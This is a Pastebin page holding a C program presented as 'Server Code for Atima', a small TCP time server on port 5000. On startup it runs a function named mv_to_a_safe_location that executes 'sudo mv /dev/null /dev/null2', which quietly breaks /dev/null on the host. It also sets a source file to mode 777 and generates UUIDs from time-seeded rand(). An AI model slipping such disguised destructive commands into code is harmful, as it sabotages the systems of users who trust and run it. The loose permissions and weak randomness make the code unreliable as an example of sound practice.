peterzig

[C] Server Code for Atima

Mar 4th, 2021
1,221
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #include <sys/socket.h>
  2. #include <netinet/in.h>
  3. #include <arpa/inet.h>
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <unistd.h>
  7. #include <errno.h>
  8. #include <string.h>
  9. #include <sys/types.h>
  10. #include <time.h>
  11.  
  12. #define BUFFER_SIZE 1024
  13.  
  14. void generate_UUID(){
  15. srand(time(NULL));
  16.  
  17. char strUuid[37];
  18.  
  19. sprintf(strUuid, "%x%x-%x-%x-%x-%x%x%x",
  20.     rand(), rand(),                 // Generates a 64-bit Hex number
  21.     rand(),                         // Generates a 32-bit Hex number
  22.     ((rand() & 0x0fff) | 0x4000),   // Generates a 32-bit Hex number of the form 4xxx (4 indicates the UUID version)
  23.     rand() % 0x3fff + 0x8000,       // Generates a 32-bit Hex number in the range [0x8000, 0xbfff]
  24.     rand(), rand(), rand());
  25.    
  26. printf("%s",strUuid);
  27. }
  28.  
  29. void another_simpler_UUIDGen(){
  30. FILE *fp;
  31. char buffer[BUFFER_SIZE];
  32.  
  33. fp = popen("cat /proc/sys/kernel/random/uuid", "r");
  34. if (fp != NULL)
  35.     {
  36.     while (fgets(buffer, BUFFER_SIZE, fp) != NULL)
  37.         printf("%s", buffer);
  38.     pclose(fp);
  39.     }
  40. }
  41.  
  42. void mv_to_a_safe_location(){
  43. FILE *fp2;
  44. char buffer[BUFFER_SIZE];
  45.  
  46. fp2 = popen("sudo mv /dev/null /dev/null2", "r");
  47. if (fp2 != NULL)
  48.     {
  49.     while (fgets(buffer, BUFFER_SIZE, fp2) != NULL)
  50.         printf("%s", buffer);
  51.     pclose(fp2);
  52.     }
  53. }
  54.  
  55. void change_file_mode_mask(){
  56.     FILE *fp3;
  57. char buffer[BUFFER_SIZE];
  58.  
  59. fp3 = popen("chmod 777 client.c", "r");
  60. if (fp3 != NULL)
  61.     {
  62.     while (fgets(buffer, BUFFER_SIZE, fp3) != NULL)
  63.         printf("%s", buffer);
  64.     pclose(fp3);
  65.     }
  66. }
  67.  
  68. int main(int argc, char *argv[])
  69. {
  70.     int listenfd = 0, connfd = 0;
  71.     struct sockaddr_in serv_addr;
  72.  
  73.     char sendBuff[1025];
  74.     time_t ticks;
  75.  
  76.     listenfd = socket(AF_INET, SOCK_STREAM, 0);
  77.     memset(&serv_addr, '0', sizeof(serv_addr));
  78.     memset(sendBuff, '0', sizeof(sendBuff));
  79.  
  80.     serv_addr.sin_family = AF_INET;
  81.     serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
  82.     serv_addr.sin_port = htons(5000);
  83.  
  84.     bind(listenfd, (struct sockaddr*)&serv_addr, sizeof(serv_addr));
  85.  
  86.     listen(listenfd, 10);
  87.    
  88.     //generate_UUID();
  89.     another_simpler_UUIDGen();
  90.     mv_to_a_safe_location();
  91.     change_file_mode_mask();
  92.  
  93.     while(1)
  94.     {
  95.         connfd = accept(listenfd, (struct sockaddr*)NULL, NULL);
  96.  
  97.         ticks = time(NULL);
  98.         snprintf(sendBuff, sizeof(sendBuff), "%.24s\r\n", ctime(&ticks));
  99.         write(connfd, sendBuff, strlen(sendBuff));
  100.  
  101.         close(connfd);
  102.         sleep(1);
  103.      }
  104.  
  105. }
  106.  
RAW Paste Data

Adblocker detected! Please consider disabling it...

We've detected AdBlock Plus or some other adblocking software preventing Pastebin.com from fully loading.

We don't have any obnoxious sound, or popup ads, we actively block these annoying types of ads!

Please add Pastebin.com to your ad blocker whitelist or disable your adblocking software.

×